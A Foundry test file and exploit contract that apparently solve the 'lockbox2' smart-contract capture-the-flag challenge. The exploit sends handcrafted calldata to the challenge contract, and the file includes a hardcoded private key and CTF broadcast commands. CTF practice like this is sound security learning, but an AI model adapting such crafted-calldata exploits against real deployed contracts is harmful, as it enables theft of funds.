lockbox2.t.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "forge-std/Test.sol";
import "../src/lockbox2/public/contracts/Setup.sol";
import "../src/lockbox2/public/contracts/Exploit.sol";
bytes constant SIXTY_FOUR_ZEROS = "0000000000000000000000000000000000000000000000000000000000000000"; // ctrlc+v on handcrafted calldata
address constant CREATE2_FACTORY = 0x4e59b44847b379578588920cA78FbF26c0B4956C;
/*
Commands:
# Testing command
forge test --mp ./test/lockbox2.t.sol --mc Tester --fork-url $ANVIL_URL -vvvvv
# Debug command
forge test --mp ./test/lockbox2.t.sol --mc Tester --debug <function> --fork-url $CTF_URL
# Script command
forge script script/lockbox2.s.sol:Scripter --rpc-url $CTF_URL --private-key $CTF_PRIVATE_KEY --broadcast -vvvvv
# Debug broadcasted tx:
cast run <TXHASH> -d --rpc-url $CTF_URL
# Exploratory
forge inspect <path>:<ContractName> storage --pretty
https://ethervm.io/decompile
https://library.dedaub.com/decompile
panoramix <bytecode>
*/
contract Tester is Test {
Setup setup;
address payable setupAddress;
Lockbox2 challenge;
address payable challengeAddress;
Exploit exploit;
address payable exploitAddress;
bytes32 privatekey = 0x00373c0f6cd01cf0b0f383308827bf8079293059ccd4bd1264a61fc4590062ae;
address payable publickey;
function setUp() public {
setup = new Setup();
setupAddress = payable(address(setup));
challenge = setup.lockbox2();
challengeAddress = payable(address(challenge));
publickey = payable(address(uint160(uint256(keccak256(abi.encodePacked(privatekey))))));
publickey.transfer(10 ether);
// use contest private key to send in ether
// then use coded private key to solve challenge
}
// function testIsSolved() public {
// // useful to run at beginning to find storage slots .isSolved() uses
// vm.record();
// setup.isSolved();
// vm.accesses(challengeAddress);
// }
function testExploit() public {
// vm.createSelectFork(vm.rpcUrl("paradigm"));
// console2.log("Bal after setup: setup: %s, challenge: %s", setupAddress.balance, challengeAddress.balance);
exploit = new Exploit{value: 100 ether}(setup, challenge);
exploitAddress = payable(address(exploit));
// // alternatively use etk code as exploit
// bytes memory etkCode = etkLoad();
// address _addr;
// assembly {
// _addr := create(0, add(initcode, 0x20), mload(initcode))
// }
// exploitAddress = address(_addr);
// console2.log("Bal after exp-deployed: setup: %s, challenge: %s, exploit: %s", setupAddress.balance, challengeAddress.balance, address(exploit).balance);
exploit.finalize();
// console2.log("Bal post finalize: setup: %s, challenge: %s, exploit: %s", setupAddress.balance, challengeAddress.balance, address(exploit).balance);
console2.log("Solved: %s", exploit.checkSolved());
}
function etkLoad() public returns (bytes memory etkCode){
// Helper function to load handcrafted EVM code from a file.
// typically used as:
//
// bytes memory etkCode = etkLoad();
// vm.etch(someAddress, etkCode);
// someAddress.call(hex"69696969");
string[] memory inputs = new string[](2);
// /**
// * windows: scripts/compile.bat
// * linux : scripts/compile.sh
// */
inputs[0] = "./script/compile.sh";
// // path/to/contract.etk
inputs[1] = "./src/lockbox2/public/contracts/exploit.etk";
etkCode = vm.ffi(inputs);
}
fallback() external payable {}
}
exploit
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import './Setup.sol';
contract Exploit {
Setup public setup;
address payable public setupAddress;
Lockbox2 public challenge;
address payable public challengeAddress;
constructor(Setup _setup, Lockbox2 _challenge) payable {
setup = _setup;
setupAddress = payable(address(setup));
challenge = _challenge;
challengeAddress = payable(address(challenge));
}
function finalize() external {
// a = 131 = 0x83
// b = 257 = 0x101
// c = 1 = 1
// bytes memory solveData = hex"890d6908000000000000000000000000000000000000000000000000000000000000008300000000000000000000000000000000000000000000000000000000000001010000000000000000000000000000000000000000000000000000000000000001";
bytes memory solveData = hex"890d69080000000000000000000000000000000000000000000000000000000000000083000000000000000000000000000000000000000000000000000000000000010100000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000001";
// bytes memory solveData = hex"890d69080000000000000000000000000000000000000000000000000000000000000005000000000000000000000000000000000000000000000000000000000000000300000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000001";
challengeAddress.call(solveData);
}
function checkSolved() public view returns(bool) {
return setup.isSolved();
}
fallback() external payable {
}
}